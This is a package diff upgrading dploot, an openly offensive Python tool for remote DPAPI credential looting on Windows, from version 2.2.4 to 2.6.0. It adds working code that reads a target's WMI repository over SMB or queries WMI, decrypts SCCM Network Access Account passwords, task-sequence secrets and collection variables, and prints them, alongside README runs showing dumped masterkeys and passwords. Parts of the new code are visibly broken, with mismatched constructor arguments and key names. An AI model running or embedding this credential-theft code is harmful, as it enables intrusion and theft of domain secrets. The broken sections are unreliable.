dploot 2.2.4__tar.gz → 2.6.0__tar.gz

{dploot-2.2.4 → dploot-2.6.0}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: dploot
-Version: 2.2.4
+Version: 2.6.0
 Summary: DPAPI looting remotely in Python
 Home-page: https://github.com/zblurx/dploot
 License: MIT
@@ -58,6 +58,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
       - [machinetriage](#machinetriage)
     - [Misc](#misc)
       - [wifi](#wifi)
+      - [sccm](#sccm)
       - [backupkey](#backupkey)
   - [Credits](#credits)
   - [TODO](#TODO)
@@ -570,7 +571,7 @@ Unknown     : Password!123
 The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
 
 ```text
-$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -debug
+$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
 
 [*] Triage SYSTEM masterkeys
@@ -589,7 +590,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
 
 ### machinecertificates
 
-The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
+The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
 
 It will also dump machine CAPI certificates blob with RemoteRegistry.
 
@@ -639,7 +640,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
 
 #### wifi
 
-The **wifi** command will get any wifi xml configuration file file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
+The **wifi** command will get any wifi xml configuration file  and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
 
 ```text
 $ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
@@ -691,9 +692,33 @@ EapHostConfig:
 [snip]
 ```
 
+#### sccm
+
+The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
+
+```text
+$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
+[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
+
+[*] Triage SYSTEM masterkeys
+
+{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
+{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
+{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
+{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
+
+[*] Triage SCCM Secrets
+
+[NAA Account]
+Username: NAAAccount
+Password: Password!123
+
+[snip]
+```
+
 #### backupkey
 
-The **backupkey** command will retrieve the domaain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
+The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
 
 By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
 

{dploot-2.2.4 → dploot-2.6.0}/README.md

@@ -32,6 +32,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
       - [machinetriage](#machinetriage)
     - [Misc](#misc)
       - [wifi](#wifi)
+      - [sccm](#sccm)
       - [backupkey](#backupkey)
   - [Credits](#credits)
   - [TODO](#TODO)
@@ -544,7 +545,7 @@ Unknown     : Password!123
 The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
 
 ```text
-$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14 -debug
+$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
 
 [*] Triage SYSTEM masterkeys
@@ -563,7 +564,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
 
 ### machinecertificates
 
-The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
+The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
 
 It will also dump machine CAPI certificates blob with RemoteRegistry.
 
@@ -613,7 +614,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
 
 #### wifi
 
-The **wifi** command will get any wifi xml configuration file file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot willdump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
+The **wifi** command will get any wifi xml configuration file  and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
 
 ```text
 $ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
@@ -665,9 +666,33 @@ EapHostConfig:
 [snip]
 ```
 
+#### sccm
+
+The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
+
+```text
+$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
+[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
+
+[*] Triage SYSTEM masterkeys
+
+{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
+{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
+{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
+{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
+
+[*] Triage SCCM Secrets
+
+[NAA Account]
+Username: NAAAccount
+Password: Password!123
+
+[snip]
+```
+
 #### backupkey
 
-The **backupkey** command will retrieve the domaain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
+The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
 
 By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
 

dploot-2.6.0/dploot/action/sccm.py

@@ -0,0 +1,128 @@
+import argparse
+import logging
+import os
+import sys
+from typing import Callable, Tuple
+from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
+
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target, add_target_argument_group
+from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.sccm import SCCMTriage
+
+NAME = 'sccm'
+
+class SCCMAction:
+
+    def __init__(self, options: argparse.Namespace) -> None:
+        self.options = options
+        self.target = Target.from_options(options)
+        
+        self.conn = None
+        self._is_admin = None
+        self._users = None
+        self.outputdir = None
+        self.masterkeys = None
+        self.pvkbytes = None
+
+        self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)
+
+        if self.options.mkfile is not None:
+            try:
+                self.masterkeys = parse_masterkey_file(self.options.mkfile)
+            except Exception as e:
+                logging.error(str(e))
+                sys.exit(1)
+
+        self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
+
+    def connect(self) -> None:
+        self.conn = DPLootSMBConnection(self.target)
+        if self.conn.connect() is None:
+            logging.error("Could not connect to %s" % self.target.address)
+            sys.exit(1)
+
+    def run(self) -> None:
+        self.connect()
+        logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin  else "")))
+        if self.is_admin:
+            if self.masterkeys is None:
+                triage = MasterkeysTriage(target=self.target, conn=self.conn)
+                logging.info("Triage SYSTEM masterkeys\n")
+                self.masterkeys = triage.triage_system_masterkeys()
+                if not self.options.quiet:
+                    for masterkey in self.masterkeys:
+                        masterkey.dump()
+                    print()
+
+            triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, use_wmi=self.options.wmi)
+            logging.info('Triage SCCM Secrets\n')
+            sccmcreds, sccmtasks, sccmcollections = triage.triage_sccm()
+            for sccm_cred in sccmcreds:
+                if self.options.quiet:
+                    sccm_cred.dump_quiet()
+                else:
+                    sccm_cred.dump()
+            for sccm_task in sccmtasks:
+                if self.options.quiet:
+                    sccm_task.dump_quiet()
+                else:
+                    sccm_task.dump()
+            for sccm_collection in sccmcollections:
+                if self.options.quiet:
+                    sccm_collection.dump_quiet()
+                else:
+                    sccm_collection.dump()
+        else:
+            logging.info("Not an admin, exiting...")
+
+    @property
+    def is_admin(self) -> bool:
+        if self._is_admin is not None:
+            return self._is_admin
+
+        self._is_admin = self.conn.is_admin()
+        return self._is_admin
+
+def entry(options: argparse.Namespace) -> None:
+    a = SCCMAction(options)
+    a.run()
+
+def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
+
+    subparser = subparsers.add_parser(NAME, help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials)  from remote target")
+
+    group = subparser.add_argument_group("sccm options")
+
+    group.add_argument(
+        "-mkfile",
+        action="store",
+        help=(
+            "File containing {GUID}:SHA1 masterkeys mappings"
+        ),
+    )
+
+    add_masterkeys_argument_group(group)
+
+    group.add_argument(
+        "-export-sccm",
+        action="store",
+        metavar="DIR_SCCM",
+        help=(
+            "Dump looted SCCM secrets to specified directory"
+        )
+    )
+
+    group.add_argument(
+        "-wmi",
+        action="store_true",
+        help=(
+            "Dump SCCM secrets from WMI requests results"
+        )
+    )
+
+    add_target_argument_group(subparser)
+
+    return NAME, entry
+

{dploot-2.2.4 → dploot-2.6.0}/dploot/entry.py

@@ -12,6 +12,7 @@ from dploot.action import (
     vaults,
     backupkey,
     rdg,
+    sccm,
     triage,
     machinemasterkeys,
     machinecredentials,
@@ -30,6 +31,7 @@ ENTRY_PARSERS = [
     vaults,
     backupkey,
     rdg,
+    sccm,
     triage,
     machinemasterkeys,
     machinecredentials,
@@ -81,4 +83,4 @@ def main() -> None:
 
 
 if __name__ == "__main__":
-    main()
+    main()

{dploot-2.2.4 → dploot-2.6.0}/dploot/triage/browser.py

@@ -13,14 +13,15 @@ from dploot.lib.target import Target
 from dploot.lib.utils import datetime_to_time
 from dploot.lib.wmi import DPLootWmiExec
 from dploot.triage.masterkeys import Masterkey
+from dataclasses import dataclass
 
+@dataclass
 class LoginData:
-    def __init__(self, winuser: str, browser:str, url:str, username:str, password:str):
-        self.winuser = winuser
-        self.browser = browser
-        self.url = url
-        self.username = username
-        self.password = password
+    winuser: str
+    browser: str
+    url: str
+    username: str
+    password: str
 
     def dump(self) -> None:
         print('[%s LOGIN DATA]' % self.browser.upper())
@@ -33,17 +34,17 @@ class LoginData:
     def dump_quiet(self) -> None:
         print("[%s] %s - %s:%s" % (self.browser.upper(), self.url, self.username, self.password))
 
+@dataclass
 class Cookie:
-    def __init__(self, winuser: str, browser:str, host:str, path: str, cookie_name:str, cookie_value:str, creation_utc:str, expires_utc:str, last_access_utc:str):
-        self.winuser = winuser
-        self.browser = browser
-        self.host = host
-        self.path = path
-        self.cookie_name = cookie_name
-        self.cookie_value = cookie_value
-        self.creation_utc = creation_utc
-        self.expires_utc = expires_utc
-        self.last_access_utc = last_access_utc
+    winuser: str
+    browser:str
+    host:str
+    path: str
+    cookie_name:str
+    cookie_value:str
+    creation_utc:str
+    expires_utc:str
+    last_access_utc:str
 
     def dump(self) -> None:
         print('[%s COOKIE DATA]' % self.browser.upper())

{dploot-2.2.4 → dploot-2.6.0}/dploot/triage/certificates.py

@@ -2,6 +2,7 @@ import hashlib
 import logging
 import ntpath
 from typing import Dict, List, Tuple
+from dataclasses import dataclass
 
 from impacket.dcerpc.v5 import rrp
 
@@ -23,15 +24,15 @@ from dploot.triage.masterkeys import Masterkey
 
 PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
 
+@dataclass
 class Certificate:
-    def __init__(self, winuser: str, cert:x509.Certificate, pkey: PrivateKeyTypes, pfx: bytes, username: str, filename: str, clientauth: bool):
-        self.winuser = winuser
-        self.cert = cert
-        self.pkey = pkey
-        self.pfx = pfx
-        self.username = username
-        self.filename = filename
-        self.clientauth = clientauth
+    winuser: str
+    cert: x509.Certificate
+    pkey: PrivateKeyTypes
+    pfx: bytes
+    username: str
+    filename: str
+    clientauth: bool
 
     def dump(self) -> None:
         print('Issuer:\t\t\t%s' % str(self.cert.issuer.rfc4514_string()))

{dploot-2.2.4 → dploot-2.6.0}/dploot/triage/credentials.py

@@ -1,6 +1,7 @@
 import logging
 import ntpath
 from typing import Any, List
+from dataclasses import dataclass
 
 from impacket.dpapi import CREDENTIAL_BLOB
 
@@ -10,15 +11,15 @@ from dploot.lib.target import Target
 from dploot.lib.utils import is_credfile
 from dploot.triage.masterkeys import Masterkey
 
+@dataclass
 class Credential:
-    def __init__(self, winuser: str, credblob: "CREDENTIAL_BLOB | Any", target: str, description: str, unknown: str, username: str, password: str):
-        self.winuser = winuser
-        self.credblob = credblob
-        self.target = target
-        self.description = description
-        self.unknown = unknown
-        self.username = username
-        self.password = password
+    winuser: str
+    credblob: "CREDENTIAL_BLOB | Any"
+    target: str
+    description: str
+    unknown: str
+    username: str
+    password: str
 
     def dump(self) -> None:
         self.credblob.dump()

{dploot-2.2.4 → dploot-2.6.0}/dploot/triage/masterkeys.py

@@ -41,7 +41,7 @@ class MasterkeysTriage:
     system_masterkeys_generic_path = 'Windows\\System32\\Microsoft\\Protect'
     share = 'C$'
 
-    def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None) -> None:
+    def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None, dpapiSystem: Dict[str,str] = {}) -> None:
         self.target = target
         self.conn = conn
         self.pvkbytes = pvkbytes
@@ -50,20 +50,21 @@ class MasterkeysTriage:
         
         self._users = None
         self.looted_files = dict()
-        self.dpapiSystem = dict()
+        self.dpapiSystem = dpapiSystem
+        # should be {"MachineKey":"key","Userkey":"key"}
 
     def triage_system_masterkeys(self) -> List[Masterkey]:
         masterkeys = list()
         logging.getLogger("impacket").disabled = True
-        self.conn.enable_remoteops()
-        if self.conn.remote_ops and self.conn.bootkey:
-
-            SECURITYFileName = self.conn.remote_ops.saveSECURITY()
-            LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True,
-                             perSecretCallback=self.getDPAPI_SYSTEM)
-            LSA.dumpSecrets()
-            LSA.finish()
-        
+        if len(self.dpapiSystem) == 0:
+            self.conn.enable_remoteops()
+            if self.conn.remote_ops and self.conn.bootkey:
+
+                SECURITYFileName = self.conn.remote_ops.saveSECURITY()
+                LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True,
+                                perSecretCallback=self.getDPAPI_SYSTEM)
+                LSA.dumpSecrets()
+                LSA.finish()
         system_protect_dir = self.conn.remote_list_dir(self.share, path=self.system_masterkeys_generic_path)
         for d in system_protect_dir:
             if d not in self.false_positive and d.is_directory()>0 and d.get_longname()[:2] == 'S-':# could be a better way to deal with sid
@@ -150,7 +151,7 @@ class MasterkeysTriage:
                                 masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user=user))
         return masterkeys
 
-    def getDPAPI_SYSTEM(self,secretType, secret) -> None:
+    def getDPAPI_SYSTEM(self,_, secret) -> None:
         if secret.startswith("dpapi_machinekey:"):
             machineKey, userKey = secret.split('\n')
             machineKey = machineKey.split(':')[1]

{dploot-2.2.4 → dploot-2.6.0}/dploot/triage/rdg.py

@@ -3,19 +3,20 @@ import ntpath
 from typing import Any, List, Tuple
 import xml.etree.ElementTree as ET
 import base64
+from dataclasses import dataclass
 
 from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
 from dploot.lib.smb import DPLootSMBConnection
 from dploot.lib.target import Target
 from dploot.triage.masterkeys import Masterkey
 
+@dataclass
 class RDGCred:
-    def __init__(self, type, profile_name, username, password, server_name = None) -> None:
-        self.type = type
-        self.profile_name = profile_name
-        self.server_name = server_name
-        self.username = username
-        self.password = password
+    type: str
+    profile_name: str
+    username: str
+    password: str
+    server_name: str = None
 
     def dump(self) -> None:
         if self.type == 'cred':
@@ -44,17 +45,17 @@ class RDGCred:
         elif self.type == 'server':
             print("[RDG] %s - %s - %s:%s" % (self.profile_name, self.server_name, self.username, self.password.decode('latin-1')))
 
+@dataclass
 class RDCMANFile:
-    def __init__(self, winuser: str, filepath:str, rdg_creds:List[RDGCred]) -> None:
-        self.winuser = winuser
-        self.filepath = filepath
-        self.rdg_creds = rdg_creds
+    winuser: str
+    filepath: str
+    rdg_creds: List[RDGCred]
 
+@dataclass
 class RDGFile:
-    def __init__(self, winuser: str, filepath:str, rdg_creds:List[RDGCred]) -> None:
-        self.winuser = winuser
-        self.filepath = filepath
-        self.rdg_creds = rdg_creds
+    winuser: str
+    filepath: str
+    rdg_creds: List[RDGCred]
 
 class RDGTriage:
 

dploot-2.6.0/dploot/triage/sccm.py

@@ -0,0 +1,203 @@
+import logging
+import ntpath
+from typing import Any, List, Tuple
+import xml.etree.ElementTree as ET
+import base64
+import re
+from binascii import unhexlify
+
+from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
+from dploot.lib.smb import DPLootSMBConnection
+from dploot.lib.target import Target
+from dploot.triage.masterkeys import Masterkey
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+
+class SCCMCred:
+    def __init__(self, username, password) -> None:
+        self.username = username
+        self.password = password
+
+    def dump(self) -> None:
+        print('[NAA Account]')
+        print('\tUsername:\t%s' % self.username.decode('latin-1'))
+        print('\tPassword:\t%s' % self.password.decode('latin-1'))
+
+
+    def dump_quiet(self) -> None:
+        print("[NAA] %s:%s" % (self.username.decode('latin-1'), self.password.decode('latin-1')))
+
+class SCCMSecret:
+    def __init__(self, type, secret) -> None:
+        self.type = type
+        self.secret = secret
+
+    def dump(self) -> None:
+        print('[Task sequences secret]')
+        print('\tSecret:\t%s' % self.secret.decode('latin-1'))
+
+
+    def dump_quiet(self) -> None:
+        print("[Task] %s" % (self.secret.decode('latin-1')))  
+
+class SCCMCollection:
+    def __init__(self, variable, value) -> None:
+        self.variable = variable
+        self.value = value
+
+    def dump(self) -> None:
+        print('[Collection Variable]')
+        print("\tName:\t%s" % self.variable.decode('latin-1'))
+        print("\tValue:\t%s" % self.value.decode('latin-1'))
+
+
+    def dump_quiet(self) -> None:
+        print("[Collection] %s:%s" % (self.variable.decode('latin-1'), self.value.decode('latin-1')))
+
+class SCCMTriage:
+
+    sccm_objectdata_filepath = 'Windows\\System32\\wbem\\Repository\\OBJECTS.DATA'
+    share = 'C$'
+
+    def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey], use_wmi: bool) -> None:
+        self.target = target
+        self.conn = conn
+        self.use_wmi = use_wmi
+        self.masterkeys = masterkeys
+
+
+    def sccmdecrypt(self, dpapi_blob):
+        if self.use_wmi:
+            list_blob = [int(dpapi_blob[i:i+2],16) for i in range(0, len(dpapi_blob), 2)][4:]
+        else:
+            list_blob = list(bytes.fromhex(dpapi_blob.decode('utf-8')))[4:]
+        blob_bytes = bytes(list_blob)
+        
+        masterkey = find_masterkey_for_blob(blob_bytes, masterkeys=self.masterkeys)
+        result = ''
+        if masterkey is not None:
+            result = decrypt_blob(blob_bytes, masterkey=masterkey)
+            return result
+        else:
+            print("Master keys not found for SCCM blob")
+            return ""
+
+    def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
+        sccmcred = list()
+        sccmsecret = list()
+        sccmcollection = list()
+        regex_naa = b"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        regex_task = b"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        regex_collection = b"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+        logging.debug("Looking for NAA Credentials from OBJECTS.DATA file")
+        pattern = re.compile(regex_naa)
+        for match in pattern.finditer(objectfile):
+            logging.debug("Found NAA Credentials from OBJECTS.DATA file")
+            password = self.sccmdecrypt(match.group(1))
+            username = self.sccmdecrypt(match.group(2))
+            sccmcred.append(SCCMCred(username, password))
+        pattern = re.compile(regex_task)
+        logging.debug("Looking for task sequences secret from OBJECTS.DATA file")
+        for match in pattern.finditer(objectfile):
+            logging.debug("Found task sequences secret from OBJECTS.DATA file")
+            secret = self.sccmdecrypt(match.group(1))
+            sccmsecret.append(SCCMSecret(secret))
+        pattern = re.compile(regex_collection)
+        logging.debug("Looking for collection variables from OBJECTS.DATA file")
+        for match in pattern.finditer(objectfile):
+            logging.debug("Found collection variable from OBJECTS.DATA file")
+            name = self.sccmdecrypt(match.group(1))
+            value = self.sccmdecrypt(match.group(2))
+            sccmcollection.append(SCCMCollection(name, value))
+        return sccmcred, sccmsecret, sccmcollection
+    
+    def parseReply(self, iEnum):
+            finding = list()
+            regex = "<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
+            while True:
+                try:
+                    pEnum = iEnum.Next(0xffffffff,1)[0]
+                    record = pEnum.getProperties()
+
+                    if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record and len(record['NetworkAccessUsername']['value']) > 0 and len(record['NetworkAccessPassword']['value']) > 0:
+                        logging.debug("Found NAA Credentials using WMI")
+                        username = self.sccmdecrypt(re.match(regex, record['NetworkAccessUsername']['value']).group(1))
+                        password = self.sccmdecrypt(re.match(regex, record['NetworkAccessPassword']['value']).group(1))
+                        finding.append(SCCMCred(username, password))
+                    if 'Name' in record and 'Value' in record and len(record['Name']['value']) > 0 and len(record['value']['value']) > 0:
+                        logging.debug("Found collection variables using WMI")
+                        name = self.sccmdecrypt(re.match(regex, record['name']['value']).group(1))
+                        value = self.sccmdecrypt(re.match(regex, record['value']['value']).group(1))
+                        finding.append(SCCMCollection(name, value))
+                    if 'TS_Sequence' in record and len(record['TS_Sequence']['value']) > 0:
+                        logging.debug("Found task sequences secret using WMI")
+                        secret = self.sccmdecrypt(re.match(regex, record['TS_Sequence']['value']).group(1))
+                        finding.append(SCCMSecret, secret)
+                except Exception as e:
+                    if str(e).find('S_FALSE') > 0:
+                        break
+                    if logging.getLogger().level == logging.DEBUG:
+                        import traceback
+                        traceback.print_exc()
+                        raise
+                    else:
+                        break
+            iEnum.RemRelease()
+            return finding
+
+
+    def LocalSecretsWmi(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
+        sccmcred=list()
+        sccmtask=list()
+        sccmcollection=list()
+        namespace = 'root\\ccm\\Policy\\Machine\\RequestedConfig'
+        query_naa = 'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount'
+        query_task = 'SELECT TS_Sequence FROM CCM_TaskSequence'
+        query_collection = 'SELECT Name, Value FROM CCM_CollectionVariable'
+        try:
+            dcom = DCOMConnection(self.target.address, self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, self.target.aesKey, oxidResolver=True, doKerberos=self.target.do_kerberos, kdcHost=self.target.dc_ip)
+            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
+            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+            iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
+            iWbemLevel1Login.RemRelease()
+            logging.debug("Query WMI for Network access accounts")
+            iEnumWbemClassObject = iWbemServices.ExecQuery(query_naa)
+            sccmcred = self.parseReply(iEnumWbemClassObject)
+            logging.debug("Query WMI for Task sequences")
+            iEnumWbemClassObject = iWbemServices.ExecQuery(query_task)
+            sccmtask = self.parseReply(iEnumWbemClassObject)
+            logging.debug("Query WMI for collection variables")
+            iEnumWbemClassObject = iWbemServices.ExecQuery(query_collection)
+            sccmcollection = self.parseReply(iEnumWbemClassObject)
+            iEnumWbemClassObject.RemRelease()
+        except  (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+                logging.debug(str(e))
+        dcom.disconnect()
+        return sccmcred, sccmtask, sccmcollection
+    
+    def triage_sccm(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
+        sccmcred=list()
+        sccmtask=list()
+        sccmcollection=list()
+        try:
+            if self.use_wmi:
+                sccmcred, sccmtask, sccmcollection = self.LocalSecretsWmi()
+            else:
+                objectfile = self.conn.readFile(self.share,self.sccm_objectdata_filepath, bypass_shared_violation = True)
+                if (objectfile is not None and len(objectfile) > 0):
+                    sccmcred, sccmtask, sccmcollection = self.parseFile(objectfile)
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+                logging.debug(str(e))
+            pass
+        return sccmcred, sccmtask, sccmcollection
+    
+
+
+ 

{dploot-2.2.4 → dploot-2.6.0}/pyproject.toml

@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "dploot"
-version = "2.2.4"
+version = "2.6.0"
 description = "DPAPI looting remotely in Python"
 readme = "README.md"
 homepage = "https://github.com/zblurx/dploot"